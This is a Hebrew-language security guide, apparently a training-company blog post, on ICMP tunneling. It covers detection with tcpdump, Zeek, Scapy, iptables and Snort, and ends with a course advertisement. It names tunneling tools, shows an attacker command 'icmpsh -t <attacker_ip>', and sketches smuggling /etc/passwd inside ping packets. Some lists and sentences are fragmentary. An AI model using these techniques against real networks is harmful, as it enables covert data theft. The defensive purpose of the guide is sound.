
ICMP tunneling, שיטה שמכונה לעיתים "תקיפות מבוססות מנגנון ping מוסוות", היא טכניקת תקיפה רשתית חמקמקה שבה תוקפים זדוניים מסתירים תעבורת פקודות ושליטה (C2) או פעולות גניבת נתונים בתוך מנות ICMP (Internet Control Message Protocol) תמימות למראה. מכיוון ש-ICMP—המוכר בעיקר לבקשות ping—נעלם לעיתים קרובות מתחת לרדאר של חומות אש ומערכות זיהוי חדירה, זה מציב אתגר רציני לצוותי אבטחת המידע.
במדריך זה נסביר מהו ICMP tunneling, כיצד תוקפים מיישמים אותו, למה זו שיטה מפתה עבור התחמקות, והכי חשוב, איך אנשי אבטחה ומנהלי רשת יכולים לזהות ולהגן מפני התקפות ICMP tunneling. נתחיל מהסברים למתחילים ונעבור לגילוי מתקדם, כולל דוגמאות אמת וקוד לדוגמא לסריקה, מעקב וניתוח תעבורת רשת לפעילות ICMP tunneling.
ICMP (Internet Control Message Protocol) הוא חלק יסודי בסוויטת פרוטוקולי האינטרנט. הוא מתוכנן להודעות על שגיאות, אבחון רשתות, והודעות סטטוס.
עובדות מפתח:
ping), יעד לא נגיש, זמן פג, ואחרים.ping, traceroute), דיווח שגיאות בין מכשירי רשת.כאשר אתה מבצע את הפקודה:
ping google.com
המחשב שלך מייצר סדרת מנות Echo Request של ICMP, וגוגל (אם היא מאפשרת ping) מגיבה במנות Echo Reply של ICMP.
ICMP tunneling היא טכניקה שמכילה מידע מטען שרירותי בתוך מנות ICMP. מידע זה יכול לכלול קבצים שנגנבו, פקודות מעטפת, או אפילו חיבור TCP שלם, כל זאת מוסתר בתוך בקשות ping או תגובות שנראות תקינות.
מכיוון שארגונים רבים מאפשרים תעבורת ICMP דרך חומות המגן שלהם (למען אבחון לגיטימי), תוקפים מנצלים אמון זה כדי להעביר מידע מוסתר או ליצור דלתות אחוריות לרשת.
הגדרה:
ICMP tunneling הוא שיטת תקשורת מוסתרת שבה תוקפים מקודדים נתונים זדוניים או בלתי מורשים בתוך מנות ICMP כדי לעבור את בקרות הגישה של הרשת.
ICMP tunneling מנצל את מבנה מנות ICMP—בעיקר Echo Request/Reply—כדי לשאת מידע נוסף, מוסתר.
icmpsh, ptunnel, או סקריפטים מותאמים אישית.מנות Echo Request רגילות של ICMP עשויות להיראות כך:
| שדה | ערך לדוגמה |
|---|---|
| סוג | 8 (Echo Request) |
| קוד | 0 |
| Checksum | 6920 |
| מזהה | 13 |
| מספר סדרה | 250 |
| מידע | "Hello, world!" |
התקפת ICMP tunneling עשויה למקם נתונים מקודדים בקידוד base64 בשדה "מידע".
חומות אש חוסמות בדרך כלל חיבורים חיצוניים ישירים (כגון, SSH יוצא, גניבת נתונים דרך HTTP/S).
עם זאת, ICMP מופעל לעיתים קרובות כדי לאפשר אבחון רשת, גם בגבולות ארגוניים.
איום מתמשך ומתקדם (APT) שחקנים משתמשים ב-ICMP tunnels לניהול מארחים שהתפשרו, שליחת פקודות, והוצאת קבצים—וכל זאת מבלי לעורר התראות רשת טיפוסיות.
רבים מקוד ה-ICMP tunneling תומכים בכלים קוד פתוח להתקפה:
איום פנימי או תוכנה זדונית על תחנת עבודה מבקש להבריח קבצים רגישים מחוץ לארגון.
שלבים:
/etc/passwd) מחולקים, מקודדים, ומוסתרים בתוך בקשות Echo מרובות.בודקי חדירה ותוקפים משתמשים בכלים כגון icmpsh:
icmpsh -t <attacker_ip>.דיווחים על מתקפות APT ותוכנות זדוניות (במיוחד Backdoor.Win32.ICMPdoor) מנצלים ICMP tunneling לגישה מתמשכת בסביבות אבטחה גבוהה שחוסמות את כל התעבורה היוצאת מלבד HTTP/HTTPS—ו-ICMP.
זיהוי ICMP tunneling מתבסס על זיהוי דפוסים חריגים או בדיקת תוכן מטען מנות ICMP.
כלי לכידה חבילות המשמש לעיתים קרובות לבדיקת תעבורת ICMP.
# לכידת כל תעבורת ICMP, פלט מפורט
sudo tcpdump -n -v icmp
פלט חשוד לדוגמה (מקוצר):
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024
הערה: 1024 בתים הוא הרבה יותר מהמטען הרגיל של ping ב-ICMP!
מנתח חבילות גרפי.
icmpכלי חזק לניטור אבטחת רשת עם סקריפט מובנה ל-ICMP.
סקריפט לרשום מטעני ICMP חריגים:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# Log or alert on large payloads
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
}
}
דוגמה ב-Bash: רשום את כל מטעני הפינג היוצאים.
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
דוגמה בפייתון: נתח pcap למטעני ICMP חריגים
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
כדי לצוד באופן יזום ניצול ICMP tunneling, סריקות רגילות וזיהוי חריגים הם חיוניים.
השתמש בכלים כמו ELK stack, Zeek, Wireshark כדי:
מצא את מנות ICMP הגדולות בזמן אמת:
sudo tcpdump -ni eth0 icmp and greater 200
רשימת גדלי מנות מהקובץ:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy: דיווח על Echo Requests עם מטעני גדולים
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
דוגמה: חסום יציאת ICMP עם iptables
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
דוגמת חוק Snort:
alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)
מחקרים הראו שמעקב ללא מצב—מעקב אחר זרימות וגדלים של מנות ICMP, לא רק מצבם או סדרתם—יכול להיות דרך עם השפעה נמוכה וניתנת להגדלת לשם זיהוי tunneling.
לפי Singh & Nordström, מודלים ללא מצב יכולים לזהות ערוצים מוסווים ביעילות מבלי להשפיע באופן משמעותי על מארחים או נתבים—אפילו בקנה מידה.
ICMP tunneling מייצג איום שאינו ברור ונמוך המסתתר בצורה רגילה אחרות של פעולות רשת לגיטימיות, מה שהופך את הזיהוי וההגנה לקשים עבור צוותי כחולים. עם השימוש הנפוץ ב-ICMP לאבחנות והתדירות שבה ארגונים מאפשרים תעבורה כזו דרך חומות המגן שלהם, זהו אמצעי מועדף עבור תוקפים המתקינים פקודות ושלטה מוסוות, מוציאים נתונים רגישיים, או גישה שקומפרומיירה.
על ידי הבססת פעילות ICMP הלגיטימית של הרשת והפעלת זיהוי מבוסס על חתימה וגם פרעות, הארגון שלך יכול לנטרל וקטור איום מוסווה זה לפני שהוא מוביל לאובדן נתונים או פשרה נוספת.
הגן על היקפך—ואל תתעלם מהפינג הפשוט!
אם מצאתם את התוכן הזה בעל ערך, תארו לעצמכם מה תוכלו להשיג עם תוכנית ההכשרה המקיפה והאליטיסטית שלנו בת 47 שבועות. הצטרפו ליותר מ-1,200 סטודנטים ששינו את הקריירה שלהם בעזרת טכניקות יחידה 8200.